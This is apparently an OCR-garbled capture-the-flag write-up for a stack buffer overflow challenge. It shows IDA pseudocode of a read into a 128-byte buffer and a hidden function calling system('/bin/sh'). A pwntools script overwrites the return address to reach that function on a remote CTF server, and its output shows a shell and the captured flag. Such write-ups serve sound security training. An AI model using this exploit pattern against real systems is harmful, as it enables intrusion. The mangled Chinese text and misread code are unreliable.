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IDA View-A [ Pseudocode-A [ | [T Hex View-1 [ Structures |

1 [int __cdecl main(int argec, const char **argv, const char **envp)

2 {

3 write(l, "Helle, Werld\n", OxDuLL);
4

5

.
® return vulnerable_function (1LL) ;
.

}
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IDA View-A [ | Pseudocode-A [E] |I§I Hex View-1 [ [&

1 jgsize_t vulnerable function()
2
3 char buf[128]; // [rsp+0h] [rbp-80h] BYREF
4
b5 return read(0, buf, O0x200uLL);
b6}

RMEXAEHF, BH Tread, HHIEZIBbufF, TLAIMER], XEbuf5H T70-80, —3HN\+NFHHEME. X EiEREH
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= IDA ... B [EPseudoc... Stack of vulnerable fu... B | [&

0000000000000080 ; D/A/* : change type (data/ascii/farray)
—-0000000000000080 ; N ! rename
—0000000000000080 ; U : undefine

—0000000000000080 ; Use data definition commands to create local
—0000000000000080 ; Two special fields " r" and " s" represent x
—0000000000000080 ; Frame size: B0; Saved regs: &; Purge: 0
-0000000000000080 ;

—0000000000000080

—0000000000000080 buf db 128 dup(?)
l +0000000000000000 = db & dup(?)

+0000000000000008 r db & dup(?)

+0000000000000010

+0000000000000010 ; end of stack wariables
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Functions m| £ ID... Pseu... B Stack of vt
Function name " 1[int callsystem()
2
___gmon_sktart__ 3| return system("/bin/sh");
_start 1)

dereqgister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

K callsystem
vulnerable_Function
main

__libc_csu_init
__libc_csu_Fini
_term_proc ) CSON @FHE S
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IDA View-A Pseudocode-A Stack of vulnerable_function El  Enums @ Exports B
Name Address Ordinal
£ __libc_csu_Fini 0000000000400670
{f] .term_proc 0000000000400674
iFil vulnerable_Function 00000000004005A6
callsystem 0000000000400596
@ dso handle 0000000000600A50
1 10 stdin_used 0000000000400680
{# _libc_csu_init 0000000000400600
{#] start 00000000004004A0 [main entry]
]E main 00000000004005C6
{#] .init_proc 0000000000400418
E __data_start 0000000000600A48
Bl  bss start 0000000000600A58
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BEER, bR R, BrPAR %2 0x400596
exp:

from pwn import *

p = remote("node4.buuoj.cn", 28240);
payload = 'a'*@x88 + p64(0x400596).decode("iso0-8859-1");

p.recvuntil("World\n");

p.sendline(payload);

p.interactive();




5 S python3 exp.py

Opening connection to 111.200.241.244 on port 54747: Done

.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
.recvuntil("World\n");

.py:7: BytesWarning: Text is not bytes; assuming IS0-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
.sendline(payload);

Switching to interactive mode
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1ib64
cat flag
cyberpeace{dbfdfesdf4adee7705803704da93a59f}
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